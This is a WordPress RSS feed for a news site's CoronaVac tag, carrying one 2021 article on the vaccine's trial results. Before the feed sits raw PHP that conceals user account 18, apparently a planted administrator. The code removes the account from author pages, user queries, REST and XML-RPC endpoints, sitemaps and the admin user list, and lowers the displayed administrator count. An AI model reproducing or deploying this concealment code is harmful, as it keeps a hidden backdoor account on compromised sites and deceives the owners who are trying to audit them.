add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CoronaVac Archives &#8211; The Edge Media</title>
	<atom:link href="https://theedgemedia.in/tag/coronavac/feed" rel="self" type="application/rss+xml" />
	<link>https://theedgemedia.in/tag/coronavac</link>
	<description>Another Look At Your Day</description>
	<lastBuildDate>Fri, 09 Jul 2021 15:10:21 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.3</generator>

<image>
	<url>https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png</url>
	<title>CoronaVac Archives &#8211; The Edge Media</title>
	<link>https://theedgemedia.in/tag/coronavac</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>China&#8217;s CoronaVac Provides More Protection</title>
		<link>https://theedgemedia.in/chinas-coronavac-provides-more-protection</link>
					<comments>https://theedgemedia.in/chinas-coronavac-provides-more-protection#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Fri, 09 Jul 2021 15:10:21 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[World Edge]]></category>
		<category><![CDATA[#covid19]]></category>
		<category><![CDATA[China vaccines]]></category>
		<category><![CDATA[corona vaccines]]></category>
		<category><![CDATA[CoronaVac]]></category>
		<category><![CDATA[health news]]></category>
		<category><![CDATA[World news]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=17973</guid>

					<description><![CDATA[<p>CoronaVac, a Covid vaccine produced by the Chinese pharmaceutical company Sinovac Biotech, has been shown to provide 83.5 percent protection against clinical Covid-19 disease and 100% protection against hospitalisation. The first results of a phase 3 study of CoronaVac show that the vaccination generates a strong antibody response. There were no serious adverse events or [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/chinas-coronavac-provides-more-protection">China&#8217;s CoronaVac Provides More Protection</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>CoronaVac, a Covid vaccine produced by the Chinese pharmaceutical company Sinovac Biotech, has been shown to provide 83.5 percent protection against clinical Covid-19 disease and 100% protection against hospitalisation. The first results of a phase 3 study of CoronaVac show that the vaccination generates a strong antibody response.</p>
<p>There were no serious adverse events or fatalities recorded throughout the trials, which included over 10,000 people in Turkey. The majority of the responses were minor, such as tiredness and discomfort at the injection site, and occurred within seven days following the injection.</p>
<p>CoronaVac has been licenced for use in 22 countries, notably Thailand, Brazil, Uruguay, Ukraine, and Albania, and has been in phase 3 testing in Brazil, Indonesia, Chile, and Turkey since mid-2020.</p>
<p>The post <a href="https://theedgemedia.in/chinas-coronavac-provides-more-protection">China&#8217;s CoronaVac Provides More Protection</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/chinas-coronavac-provides-more-protection/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>